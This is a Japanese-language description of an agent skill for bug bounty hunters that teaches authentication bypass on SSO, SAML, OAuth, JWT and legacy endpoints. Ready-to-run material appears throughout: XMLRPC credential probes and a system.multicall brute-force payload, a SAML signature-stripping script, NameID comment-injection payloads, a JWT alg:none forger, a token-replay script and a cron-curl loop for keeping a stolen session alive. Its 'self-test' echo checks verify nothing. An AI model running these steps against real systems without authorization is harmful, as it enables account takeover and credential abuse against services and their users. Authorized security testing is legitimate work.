hunt-auth-bypass について
hunt-auth-bypassは、バグバウンティの調査者向けに、SSO、レガシーエンドポイント、共有セッションの認証バイパスを調べるセキュリティテストスキルです。攻撃対象の確認項目と、テストおよび影響検証の手順をまとめています。
主な機能
- 01SSOとOAuthの攻撃対象確認
- 02レガシー認証エンドポイント一覧
- 03SAMLとXMLRPCのテスト手順
- 04ポータル間のトークン再利用確認
- 05影響検証のガイド
活用シーン
- 01対象のフェデレーションログインの調査
- 02SSOログイン後に残るレガシーエンドポイントの確認
- 03パートナーと管理ポータル間のセッション再利用テスト
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-auth-bypassインストール後、Claude Code で/hunt-auth-bypassを入力して読み込まれたか確認します。
詳細
最重要のターゲット
認証バイパスは、最も基本的なセキュリティ制御に直接違反するため、バグ報奨金プログラムで常に最も高額な脆弱性クラスの一つです。高額報奨金が期待できるターゲットは次のとおりです。
- エンタープライズ SaaS 企業の SSO/SAML 実装(Slack、Okta、OneLogin との連携)— 報奨金は通常 $5K~$25K 以上です
- 管理パネルとパートナー向け/社内ポータル —
partners.shopify.com、admin.company.comのようにサブドメインで分離された管理画面 - サードパーティ製認証プラグインとの連携 — WordPress プラグイン(OneLogin、WP-SAML-Auth)、Drupal の SSO モジュール、プラグイン方式の認証を備えたあらゆる CMS
- WordPress の XMLRPC エンドポイント — 忘れられていることが多く、標準的な WP 認証フローを完全に迂回できます
- OAuth コールバックフロー — state パラメーターの処理不備、redirect_uri の不一致
- API 認証レイヤー — 特に、後付けで認証が追加されたもの
アセットの優先度: 大規模なユーザー集団に接続されたフェデレーション ID(SAML、OAuth、OIDC)を持つターゲットです。パートナー/販売代理店向けポータルは、権限が高く、メイン製品ほど厳しくセキュリティを精査されていないことが多いため、特に有望です。
攻撃対象領域の兆候
探す URL パターン:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login
SSO を示すレスポンスヘッダー:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"
フェデレーション認証を示す JS パターン:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate
技術スタックの兆候:
- WordPress + 任意の SSO プラグイン → XMLRPC も個別に確認します
- Shopify Partner API の公開 → テナント間の権限昇格リスク
- 「SSO enabled」または「Login with [Enterprise IdP]」をうたうアプリ
- メインドメインとセッション Cookie を共有する、管理者用/パートナー用の独立したサブドメイン
SimpleSAMLphp、ruby-saml、python-samlを使用するアプリケーション
Burp のパッシブスキャンでの検出条件:
- いずれかの POST ボディに
SAMLResponseが含まれる - レスポンスに
openid_connectまたはid_tokenが含まれる - Cookie ドメインが
.company.com(ワイルドカード)に設定されている
段階的な調査方法
-
すべての認証エントリーポイントを洗い出します
- ターゲットをクロールし、メインログイン、管理者ログイン、API ログイン、パートナーポータル、モバイル API エンドポイントなど、すべてのログイン画面を探します
robots.txt、JS ファイル、Wayback Machine を確認し、/xmlrpc.phpのような忘れられたエンドポイントを探します
-
各エントリーポイントの認証方式を特定します
- フォーム認証、SAML、OAuth、API キー、セッショントークンのいずれでしょうか?
- WordPress の場合:メインログインが SSO で保護されていても、必ず
/xmlrpc.phpを調査します
-
SSO とは独立して XMLRPC をテストします
- サイトが SSO(例:OneLogin)を使用している場合は、手動で
/xmlrpc.phpに POST します - XMLRPC は SSO ではなく WordPress ネイティブの認証情報を使用します。まず
system.listMethodsを、次にwp.getUsersBlogsをテストします
- サイトが SSO(例:OneLogin)を使用している場合は、手動で
-
SAML の実装を列挙します
- Burp で有効な SAMLResponse を取得します
- Base64 ペイロードをデコードして XML を調べます
- 署名の削除、コメントの挿入、XML ラッピング攻撃をテストします
- SP が署名を検証しているかどうかを確認します(署名のないアサーションを送信します)
-
ポータル間でのセッション/トークンの再利用をテストします
partners.shopify.comのようなポータルにログインします- 発行されたトークン/Cookie をメインの管理者ポータルで使用できるか試します
- Cookie ドメインの共有、JWT シークレットの共有、またはコンテキストをまたいで使える API トークンを探します
-
認証パラメーターをファジングします
- NULL/空のパスワード、
password[]=array、ユーザー名フィールドへの SQL 入力 - ステージング用サブドメインで
admin/admin、test/testを試します - JWT の
role、is_admin、user_typeを変更します(none アルゴリズム、弱いシークレット)
- NULL/空のパスワード、
-
リダイレクトと state パラメーターを確認します
- OAuth から
stateを削除すると、何か問題が起きるでしょうか? redirect_uriをオープンリダイレクト先に変更できますか?- SAML の
RelayStateは検証されているでしょうか?
- OAuth から
-
権限を昇格して影響を検証します
- ログインできるだけでは不十分です。管理者機能、他のユーザーのデータ、機密設定にアクセスできることを証明します
- 実行できる最も権限の高い操作をスクリーンショットに収めます
レガシープロトコルの一覧(独自ブランドのログインでは、まずこれらを調査します)
ターゲットにカスタムのブランド付きログイン UI(例:customlogin.aspx、/auth/signin、/account/login)がある場合は、プラットフォームのレガシープロトコルのエンドポイントを、ネイティブ認証情報で必ず並行して調査してください。これらのエンドポイントは、カスタム UI の保護機能が失効した後も頻繁に残っており、レート制限も、MFA チャレンジも、CAPTCHA も、ボット対策もなしに、ネイティブ認証情報を受け入れます。これは、CMS/ポータル/フレームワークの各スタックに一般化した WordPress XMLRPC パターンです。
| 対象技術 | 調査するレガシーエンドポイント | ネイティブ認証情報によるバイパス対象 |
|---|---|---|
| WordPress | /xmlrpc.php(system.listMethods、wp.getUsersBlogs、system.multicall) | ネイティブの WP ユーザー名/パスワード。/wp-login.php の SSO、MFA、IP 許可ルールをバイパスします |
| WordPress(REST) | /?rest_route=/wp/v2/users、/wp-json/wp/v2/users | ログインページが強化されていても、匿名でユーザーを列挙できます |
| SharePoint(すべてのバージョン) | /_vti_bin/Authentication.asmx(Mode と Login の SOAP 操作) | ネイティブの Forms 認証情報。FedAuth Cookie が返されます。SP2013 ファームでは、このエンドポイントにレート制限がないことが確認されています。これは WP XMLRPC バイパスに相当する、標準的な SP の手法です |
| SharePoint レガシー | /_vti_bin/_vti_aut/author.dll、/_vti_bin/_vti_adm/admin.dll、/_vti_bin/owssvr.dll | FrontPage RPC。認証情報の検証器にまだ接続されていることがあります |
| SharePoint REST | /_api/contextinfo(POST)、/_api/$metadata | 匿名での FormDigest 発行、API 全体の列挙 |
| Atlassian(Jira/Confluence) | /rest/auth/1/session(basic-auth)、/rest/api/2/myself、レガシーの /rest/api/1.0/ | UI で Atlassian Crowd/Atlassian Access SSO が強制されていても、/rest/auth/1/session ではネイティブ認証情報が受け入れられます |
| Drupal | /jsonapi/、/user/login?_format=json | ネイティブパスワードを受け入れる JSON POST エンドポイント。SSO ミドルウェアとは別です |
| Drupal(D7 レガシー) | /?q=user/login、/services/、/rest/ | 独立した認証を持つ古い REST モジュール |
| Joomla | /administrator/index.php?option=com_login、/api/index.php/v1/users | フロントサイトの SSO に関係なく、管理者用エントリーポイントでネイティブの Joomla 認証情報が受け入れられます |
| Exchange/OWA | /EWS/Exchange.asmx、/Autodiscover/Autodiscover.xml、/Microsoft-Server-ActiveSync | NTLM/Basic。OWA UI の制限(MFA、IP 許可)をバイパスします。典型的な CVE-2020-0688/CVE-2021-26855 の対象範囲です |
| Citrix NetScaler | /vpn/index.html、/cgi/login、/nf/auth/doAuthentication.do | ネイティブの AD 認証情報。MFA ラッパーとは独立しています |
| 汎用 ASP.NET アプリ | *.asmx?WSDL、*.svc?WSDL、trace.axd、elmah.axd、.disco | すべての Web サービスを検出します。多くは WebForms ログインとは独立して認証情報を受け入れます |
| Spring Boot | /actuator/*、/management/*、/api/v1/auth/login、/api/v1/swagger-ui | Actuator エンドポイントは匿名で列挙できることがあります |
| Jenkins | /jnlpJars/jenkins-cli.jar、/script、/manage、/computer/(master)/script | API トークンとネイティブ認証 |
| GitLab | /api/v3/*(非推奨ですが、古いインストール環境にはまだ存在します)、/api/v4/users、/api/v4/projects | UI セッションよりも制限が緩いスコープのパーソナルアクセストークン |
| TeamCity | /app/rest/users、/login.html?username=&password=(GET フォームログイン) | ネイティブの管理者認証情報 |
| Apache Tomcat | /manager/html、/host-manager/html、/manager/text/list | フロント側の認証とは独立した、ネイティブの Tomcat レルム認証情報 |
| WebLogic | /console/login/LoginForm.jsp、/wls-wsat/* | ネイティブの管理者認証情報 |
| Oracle EBS/PeopleSoft | /OA_HTML/AppsLogin、/psp/*/?cmd=login | ネイティブの ERP 認証情報 |
| 使用方法: |
- ヘッダーとパスから技術スタックを特定します(
hunt-miscの Attack Surface Signals を使用)。 - 上記から該当する行を見つけます。
- レガシーエンドポイントに匿名でアクセスし、到達可能であり、403/404 ではないことを確認します。
- 合成クレデンシャルでテストし、ネイティブのクレデンシャル形式を受け入れ、差異のある応答(成功と失敗)を返すことを確認します。
- レート制限、ロックアウト、CAPTCHA がないことを確認します。同じユーザーに対して10件のリクエストを連続して送り、応答時間が均一であることを確認します。
- ATO につながる攻撃チェーンに応じて、Critical/High として報告します。匿名で利用でき、クレデンシャルのブルートフォースが無制限に可能なエンドポイントは、バグバウンティプログラムでは一貫して Critical に分類されます。
認可済みのエンゲージメントから得た教訓: SharePoint 2013 を使用したあるエンタープライズ向け販売代理店ポータルには、ブランドに合わせてカスタマイズされた customlogin.aspx がありました。hunt-auth-bypass スキルは読み込まれていましたが、このドキュメントには上記のマトリクスが存在せず、WordPress の XMLRPC パターンも SharePoint の同等機能と結び付けられていませんでした。/_vti_bin/Authentication.asmx は匿名でアクセス可能で、レート制限もロックアウトもなく、無制限のクレデンシャル試行を受け入れていました。これはエンゲージメントで最も影響度の高い発見でした。最初の調査でこのマトリクスに沿って確認していれば、すぐに発見できていたはずです。
ペイロードと検出パターン
XMLRPC 認証プローブ(SSO を回避):
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'
SAML 署名の除去(署名なしのアサーションを送信):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())
SAML XML コメントのインジェクション(ユーザー名の混同):
<NameID>[email protected]</NameID>
<NameID>[email protected]@company.com</NameID>
<NameID xmlns:evil="http://evil.com">[email protected]</NameID>
パートナー/クロスポータル間のトークン再利用テスト:
# Get token from partner portal
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://partners.target.com/login \
-d '[email protected]&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl --max-time 30 --connect-timeout 10 -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"
JWT の none アルゴリズム攻撃:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"[email protected]"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)
認証バイパスの攻撃対象面を探す grep パターン:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
一般的な根本原因
-
SSO は UI レイヤーでローカル認証を完全にバイパスしますが、API レイヤーではそうではありません — 開発者はログインフォームを無効にしても、API エンドポイント(
/xmlrpc.php、REST API、モバイル API)に独自の認証ハンドラーがあり、ネイティブのクレデンシャルを受け入れたままであることを見落とします。 -
SAML 署名の検証が省略されているか、任意になっています — ライブラリのデフォルト設定では署名検証が強制されないことがよくあります。開発者が
wantAssertionsSigned: falseを使用したり、IdP 証明書を正しく設定できていなかったりします。 -
異なる信頼レベル間でセッション基盤が共有されています — パートナーポータルと管理ポータルは、同じ内部フレームワークで構築されているため、同じセッションクッキーや JWT シークレットを再利用しています。アプリケーションレイヤーでのアクセス制御だけで十分だと思い込んでいるためです。
-
マルチテナントアーキテクチャにおける信頼の継承 — 下位権限のコンテキスト(パートナー、再販業者)で発行されたトークンが、上位権限のコンテキストで受け入れられます。検証時に署名の有効性しか確認せず、発行時のコンテキストを確認しないためです。
-
プラグイン/モジュールの認証はアプリケーションの認証から独立しています — 認証を扱う WordPress プラグイン(問い合わせフォーム、REST API 拡張機能、WooCommerce)はそれぞれ独自の認証ハンドラーを実装している場合があり、メインサイトの SSO と一貫していないことがあります。
-
XML の解析に一貫性がありません — SP と IdP で使用される XML パーサーが、コメント、名前空間、空白を異なる方法で処理するため、署名されたコンテンツと評価されるコンテンツが異なるという混同攻撃が可能になります。
バイパス手法
| 防御 | バイパス方法 |
|---|---|
| ログインページでSSOを強制 | 別のエントリーポイントを探します。XMLRPC、REST API、モバイルAPI、レガシーエンドポイントなどです |
| SAML署名の検証 | XMLコメントの挿入、名前空間のラッピング、署名ラッピング(XSW)、署名の完全な削除 |
| 管理ポータルでのIP許可リスト | 認証バックエンドを共有している場合は、パートナーポータルのトークンを使用します |
| ログイン時のレート制限 | XMLRPCでは system.multicall を使ったクレデンシャルスタッフィングが可能です。1回のリクエストで数百件の認証試行をまとめて送信できます |
| ログインフォームのCSRFトークン | SAMLフローは設計上、クロスオリジンのPOST方式です。/saml/callback にCSRFトークンは不要です |
| JWT署名の検証 | alg: none、鍵の混同(RS256からHS256に変更し、公開鍵をシークレットとして使用)、弱いシークレットの総当たり |
| ポータルごとに分離されたセッションストア | Cookieのドメインが .target.com(ワイルドカード)かどうかを確認します。サブドメイン間でCookieが共有されます |
| プライマリログインでのMFA | SAML SPがアサーションレベルでMFAを強制せず、事前認証済みのアサーションを受け入れる場合、MFAを回避できます |
大規模な認証回避のためのXMLRPC multicall:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>
Gate 0 検証
レポートを作成する前に、次の3つの質問に答えてください。
-
攻撃者は今、何ができますか? 他のユーザーとして認証する、有効な認証情報なしで認証する、または管理者/特権ロールに昇格する、のいずれかでなければなりません。「部分的な情報開示」は認証回避ではありません。
-
被害者は何を失いますか? 具体的な資産を特定する必要があります。特定のユーザーのアカウント乗っ取り、すべての管理機能へのアクセス、他のテナントのデータの読み取り/変更、または特権APIへのアクセスなどです。影響を伴わない抽象的な「セキュリティ制御の回避」では不十分です。
-
一から始めて10分以内に再現できますか? (a)新しいブラウザー/セッションから開始し、(b)記載した正確な手順に従い、(c)保護されたリソースへの認証済みアクセスに到達できなければなりません。再現に、再現できない特殊な前提条件(特定の被害者のアクティブなセッションやタイミングの制約など)が必要な場合は、レポートにさらに作業が必要です。
実際の影響例
シナリオ 1 — 忘れられたプロトコルエンドポイントを経由した SSO 強制の回避
大手ライドシェア企業は、すべての WordPress ベースの社内/公開プロパティで、OneLogin を利用した SSO を強制していました。XMLRPC エンドポイント(/xmlrpc.php)は有効なままで、SSO フローとは完全に独立して、WordPress ネイティブの認証情報を受け付けていました。有効な WP ネイティブ認証情報(クレデンシャルスタッフィングや以前の情報漏えいで入手したもの)を持つ攻撃者は、XMLRPC 経由で直接認証し、メインのログインフォームで適用されている MFA、SSO ポリシー、IP 制限を回避できました。影響:コンテンツ管理や、場合によっては管理者機能など、そのユーザーロールで利用可能なすべての WordPress 機能への認証済みアクセスを完全に取得できます。
シナリオ 2 — 署名検証の失敗を利用した SAML アサーションの偽造
大手エンタープライズ通信プラットフォームの SAML SP 実装では、特定のエッジケースにおいてアサーション署名を適切に検証できていませんでした。キャプチャした SAMLResponse の XML 構造を操作することで(特にコメントの挿入や名前空間プレフィックス攻撃を通じて)、攻撃者は NameID の値を変更し、ユーザーの認証情報や秘密鍵素材を持たずに、ワークスペース管理者を含む組織内の任意のユーザーになりすますことができました。影響:SAML 対応組織内の任意のユーザーのアカウントを完全に乗っ取ることができます。攻撃者はワークスペース内のすべてのメッセージ、ファイル、インテグレーションにアクセスできます。
シナリオ 3 — 認証バックエンドの共有を経由したポータル間の権限昇格 ある e コマースプラットフォームのパートナー/再販業者ポータルが発行する認証トークンは、加盟店管理ポータルと同じバックエンドサービスで検証されていました。信頼レベルの低い外部向けパートナーアカウントは、発行された認証情報またはトークンを使用して、加盟店のオンボーディングや権限割り当てのフローを回避し、管理者レベルの API エンドポイントに直接認証できました。影響:悪意のあるパートナーは、任意の加盟店の管理パネルにアクセスし、ストア設定を変更し、顧客の PII や決済データを持ち出したり、悪意のあるスクリプトをインストールしたりできます。その結果、数千の加盟店ストアフロントに影響が及びます。
公開済みレポートの引用(遡及追加 +8 — 2016-2025)
以下の実在する検証済みのバグ報奨金/協調的開示事例を、このスキルに追加します。SAML のサブクラス 4 件、JWT のサブクラス 4 件、レガシープロトコル(XMLRPC)1 件、パートナーポータル間のクロスドメイン再利用パターン 2 件にわたります。
-
GitHub Enterprise Server — パーサーの差異を利用した SAML XSW(CVE-2025-25291/25292)(H1 #2579939 · ブログ)
- サブクラス:SAML 署名の除去/XSW(パーサー差異型)
- ペイロード:署名付き SAML レスポンスに、兄弟要素の
<Assertion>を挿入します。これにより、REXML(署名チェッカー)と Nokogiri(ビジネスロジックのリーダー)が、同じ XPath から異なるノードを解決します。署名は無害なノードに対して検証され、SP は攻撃者が制御する<NameID>admin@target</NameID>を使用します - 根本原因:検証と使用に別々の XML パーサーを使っているため、同じ XPath に対して異なる要素が返されます
- 年:2025 — GitHub Security Lab の報奨金(プログラムの最高クラス、内部評価は Critical)
-
GitHub Enterprise — 暗号化アサーションに対する SAML 署名の回避(CVE-2024-4985)(H1 #2475347 · ProjectDiscovery のアドバイザリ)
- サブクラス:暗号化アサーション機能が有効な場合の SAML 署名の除去(XSW 系)
- ペイロード:攻撃者が制御するアサーションを含む SAML レスポンスを偽造し、暗号化アサーションのコード分岐における不適切な署名検証を悪用して、
site_adminを含む任意のユーザーを作成します - 根本原因:暗号化アサーションのコード分岐における不適切な暗号学的署名検証
- 年:2024 — 報奨金額は非公開、CVSS 10.0
-
Uber —
uchat.uberinternal.comでの SAML 認証バイパス (H1 #223014)- サブクラス:SAML 署名の除去/不適切なアサーション検証(OneLogin の SP 側)
- ペイロード:偽造した
NameIDを含む SAML アサーションを再送/改変します。SP が署名の適用範囲を厳密に検証していなかったため、攻撃者が制御するアサーションが受け入れられ、OneLogin の SSO セッションを通じて社内チャットにアクセスできました。 - 根本原因:SP の実装における不適切な SAML 署名検証
- 年:2017 — $8,500
-
Uber — WordPress XMLRPC を介した OneLogin SSO バイパス (H1 #138869)
- サブクラス:SSO を迂回する WordPress XMLRPC(レガシー認証経路が制御されていない)— 典型的な Legacy-Protocol Matrix の事例
- ペイロード:OneLogin プラグインは、パスワード
@@@nopass@@@をそのまま設定して WordPress ユーザーを自動作成していました。SSO プラグインがブロックしていたのはwp-login.phpのみです。wp.getUsersBlogsを指定してxmlrpc.phpに POST し、既知の共有パスワードを使うと、以前に SSO で認証された任意のユーザーとして認証されました。 - 根本原因:SSO の強制は認証経路の一つ(wp-login)にしか適用されず、レガシーの XML-RPC 経路では推測可能な共有パスワードによるパスワード認証が可能なままでした。
- 年:2016 — $7,000
-
Slack — SAML の「confused-deputy」アサーション再利用 (Writeup)
- サブクラス:パートナーポータル/IdP をまたいだアサーション再利用(audience-restriction が検証されない)
- ペイロード:期限切れで、異なるオーディエンスとサブジェクトを持つ GitHub 署名済みの古い SAML アサーションを取得し、Slack の ACS に提示すると、Slack はアサーションに記載されたユーザー名で攻撃者をログインさせます。
- 根本原因:audience-restriction と有効期限のチェックがなく、信頼が IdP をまたいで拡張されていました。
- 年:2017 — $3,000
-
HackerOne — 制御文字による SAML サインアップのドメイン制限バイパス (H1 #2101076)
- サブクラス:パートナーポータル/Unicode 制御文字を使った SAML ドメイン紐付けのバイパス
- ペイロード:SAML が必須の組織で新規ユーザー登録を行い、メールアドレスの末尾に制御文字(例:
\r、�)を追加します。ドメイン比較時に正規化によってこの文字が除去され、登録が続行されるため、組織への不正アクセスが可能になります。 - 根本原因:ドメインチェックと ID の書き込みで、Unicode/制御文字の正規化に一貫性がありませんでした。
- 年:2024 — 報奨金が授与(額は非公開)
-
8x8 / Jitsi-Meet — JWT alg 混同(非対称鍵の検証器が対称アルゴリズムを受け入れる) (H1 #1210502)
- サブクラス:JWT alg 混同(公開鍵を HMAC シークレットとして使い、RS256 から HS256 に切り替え)
- ペイロード:サーバーは RS256 検証用公開鍵を公開しています。その公開鍵を HMAC シークレットとして使って署名した、ヘッダーが
{"alg":"HS256"}のトークンを送信すると、Prosody モジュールが検証して、攻撃者を認証済み/モデレータールームに参加させます。 - 根本原因:検証器が
alg=RS256を強制せず、公開鍵を共有シークレットとして使う対称アルゴリズムを許可していました。 - 年:2021 — 報奨金は非公開
-
Argo CD(Internet Bug Bounty)— JWT の audience クレームが検証されない(CVE-2023-22482) (H1 #1889161)
- サブクラス:トークンのスコープ/audience チェックが使用時ではなく発行時に行われる(異なる audience 間でのトークン混同)
- ペイロード:クラスターの OIDC 発行者が署名した RS256 トークンのうち、異なる
aud(例:kubernetes)向けに発行されたものを取得し、ベアラートークンとして Argo CD API に提示します。API は発行者の署名を受け入れ、audの検証を省略するため、このトークンを有効として扱います。 - 根本原因:
audクレームが強制されず、署名への信頼が異なる audience 間にも拡張されていました。 - 年:2023 — IBB 経由で $2,400
Duende BFF — トークン混同とセッション固定(2024-2026 の攻撃対象領域)
Duende BFF のデプロイメントでは、hunt-csrf で取り上げた CSRF 以外にも、認証バイパスの系統が二つ存在します。どちらも、まれな CVE ではなく、アーキテクチャ上の実情として文書化されています。
攻撃クラス 1 — YARP の UserOrClient/UserOrNone による権限昇格
Duende.BFF.Yarp は、WithAccessToken(TokenType.X) メタデータを介して、プロキシされたルートにアクセストークンを付与します。誤設定のパターン:開発者が「公開カタログ」エンドポイントを想定して、ルートを UserOrClient(ログイン済みならユーザートークンを使用し、そうでなければ クライアントクレデンシャル トークンにフォールバック)に設定します。クライアントクレデンシャル(M2M)トークンは、ユーザートークンより広いスコープ(api.admin、internal.read)を持つことがよくあります。未認証の攻撃者がこのルートにアクセスすると、下流 API がベアラートークンを信頼している場合、サービスアカウントのトークンが付与された状態でリクエストがプロキシされ、設計上の権限昇格が発生します。
ペイロードの形式: TokenType.UserOrClient に設定された BFF ルートを特定します(セッションがない場合の 401 と 200 の差異、または漏えいした OpenAPI/NSwag 仕様から確認できます)。Cookie なしでアクセスすると、BFF は下流で管理者スコープを付与する M2M トークンを使ってリクエストを転送します。(docs.duendesoftware.com/bff/fundamentals/apis/yarp)
関連する確認済み CVE: Duende.AccessTokenManagement.OpenIdConnect の CVE-2024-51987 — 「HTTP クライアントが更新後に誤ったトークンを使用する」 — プロキシレイヤーにおけるトークン混同という、実質的に同じ種類の問題です。深刻度は中程度で、2024 年に修正されました。(GHSA-...51987)
攻撃クラス 2 — Cookie ドメインのワイルドカードとスライド有効期限による永続的な ATO
BFF セッション Cookie の Domain=.example.com が設定されている場合(開発者が app. と admin. 間でログインを共有するために設定することがあります)、__Host- プレフィックスによる保護は無効になります。乗っ取られたサブドメイン(廃止済みの Heroku/S3 に CNAME が設定された legacy.example.com など)を含む任意の兄弟サブドメインから、Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com を書き込めます。被害者が攻撃者のセッションを持って app.example.com にアクセスすると、セッション固定化による ATO が発生します。
SlidingExpiration=true(デフォルト)で、ExpireTimeSpan が長い場合(例:8 時間)、流出した Cookie は有効なまま維持され、攻撃者が定期的に /bff/user を呼び出す限り、有効期限が延長され続けます。Cookie 自体にはサーバー側のリフレッシュトークンローテーションチェックはありません。ローテーションされるのはサーバー側の OIDC トークンのみです。盗まれた Cookie ごとに、ATO が継続する期間が生じます。
ペイロードの形式: サブドメイン乗っ取り → Domain=.example.com で BFF セッション Cookie を書き込む → 被害者が次に app.example.com を訪問した際、攻撃者のセッションが採用されます。セッションを無期限に維持するため、6 時間ごとに GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' を cron-curl で実行します。
強化策の参考資料: docs.duendesoftware.com/bff/fundamentals/session/handlers、nestenius.se の BFF Cookie ガイド、__Host- プレフィックスに関する Langkemper の解説。
攻撃クラス 3 — /bff/user によるクレームの開示
GET /bff/user は、アクティブなセッションのすべてのクレームを JSON 配列で返します。sub、sid、email、bff:session_expires_in、bff:session_state、bff:logout_url に加え、OP が発行したすべてのカスタムクレーム(部署、ロール、社内従業員 ID、テナント ID)が含まれます。このエンドポイントはセッション Cookie と X-CSRF: 1 のみで保護されています。AnonymousSessionResponse=Response200 が設定されている場合、このエンドポイントはセッションの有無を調べるプローブとしても機能し、認証状態を判別するオラクルとして利用できます(クレームを含む 200 と null を含む 200 の違い)。これ単体では情報開示の深刻度は低~中程度ですが、上記の YARP トークン混同クラスに対する偵察に有用です。(docs.duendesoftware.com/bff/fundamentals/session/management/user)
証拠の強さと報告のヒント
Duende.BFF に直接関連する CVE はありません。3 つのクラスは、実際の環境で発生する設定ミスによって悪用可能です。隣接する Duende.AccessTokenManagement パッケージの CVE-2024-51987 と CVE-2025-26620 により、トークン混同はファミリー全体で確認されています。この問題は設計レベルのものなので、CVE の引用ではなく、連鎖による影響を基準に報告してください(例:「低権限セッションから UserOrClient ルート経由で管理者スコープの下流 API にアクセスできる」→ Critical)。
この攻撃連鎖に関する相互参照:
hunt-csrf— ロール別に分割された CSRF 対策のクラス(同じ BFF サーフェスにおける CSRF の観点)。hunt-subdomain-takeover/hunt-subdomain— Cookie ドメイン攻撃に必要なプリミティブ。
関数レベルのアクセス制御(認可の不備)
認証バイパスはシステムへの「侵入」を可能にしますが、関数レベルのアクセス制御の不備があると、すでに認証された低権限ユーザーが、UI には表示されない特権的な「機能」にアクセスできます。これは hunt-idor(オブジェクトレベルのアクセス制御)の認可に関する類似問題です。認証済みセッションを持っている場合は、常に両方をテストしてください。
**類似機能のルール:**あるパス配下の 9 個のエンドポイントで認証/ロールミドルウェアが適用されているなら、適用されていない 10 個目が脆弱性です。管理者向けのルート群は、最も有望な調査対象です:
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
grep で探すべきアンチパターン:
// Missing middleware on a sibling route
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton(); // frontend gate
app.post('/api/admin/delete', deleteUser); // no server-side check
**調査方法:**特権エンドポイント(admin/export/delete/reset/impersonate、GraphQL の管理者向けクエリ)をすべて列挙し、それぞれを通常の認証済みセッションから再実行します。さらに、セッションなしでも再実行します。200 が返る場合、または同類のエンドポイントが返す 403 との応答の違いがある場合は、関数レベルのアクセス制御が破られています。
実際の有償バグ報奨金の事例 — HackerOne TrustHub:TrustHubQuery オペレーションを使った POST /graphql には認可チェックがなく、通常のユーザーがすべてのベンダーのデータを読み取れました(CVSS 8.7、High)。オブジェクトレベルの類似例(所有者チェックがなく、任意の UUID を受け付ける WebSocket の get_history など)は hunt-idor の対象です。
検証
このセルフテストを実行し、認証バイパスの調査準備ができていることを確認してください:
-
JWT alg:none テスト — トークン生成を確認します:
python3 -c " import base64,json h=base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode() p=base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=').decode() print(f'{h}.{p}.') " && echo "PASS: alg=none token generated" || echo "FAIL" -
X-Forwarded-For バイパスの構文 — ヘッダーの挿入を確認します:
echo "X-Forwarded-For: 127.0.0.1" | grep -q "127.0.0.1" && echo "PASS: bypass header syntax" || echo "FAIL" -
直接 URL バイパステスト — ログイン後のパス探索を確認します:
echo "/dashboard /admin /settings /account" | grep -q "dashboard" && echo "PASS: post-login path list present" || echo "FAIL"
3 つのテストすべてで、認証バイパスのプロービング能力を確認できます。
注意点
- 「認証なし」と「認証バイパス」を混同する — 認証を必要としないエンドポイントは設計上の選択であり、バイパスではありません。バイパスとは、回避可能な認証チェックが存在する状態です。
- ヘッダーだけを使った IP ホワイトリストのバイパス —
X-Forwarded-For: 127.0.0.1によって応答ステータスが変わる場合がありますが、それだけではアクセスできた証拠になりません。応答本文に特権データが含まれていることを確認してください。 - サーバーが受け付けない JWT alg:none — 多くのサーバーでは、デフォルトで alg:none が拒否されます。偽造トークンを使い、実際の本番エンドポイントでテストしてください。
- 直接アクセスでは 401、プロキシ経由のパスでは 200 — 特定のルート経由でアクセスすると認証がバイパスされる
/internal/パスを持つアプリもあります。ルーティングツリー全体を把握してください。 - Cookie 認証と競合するヘッダーベースの認証 —
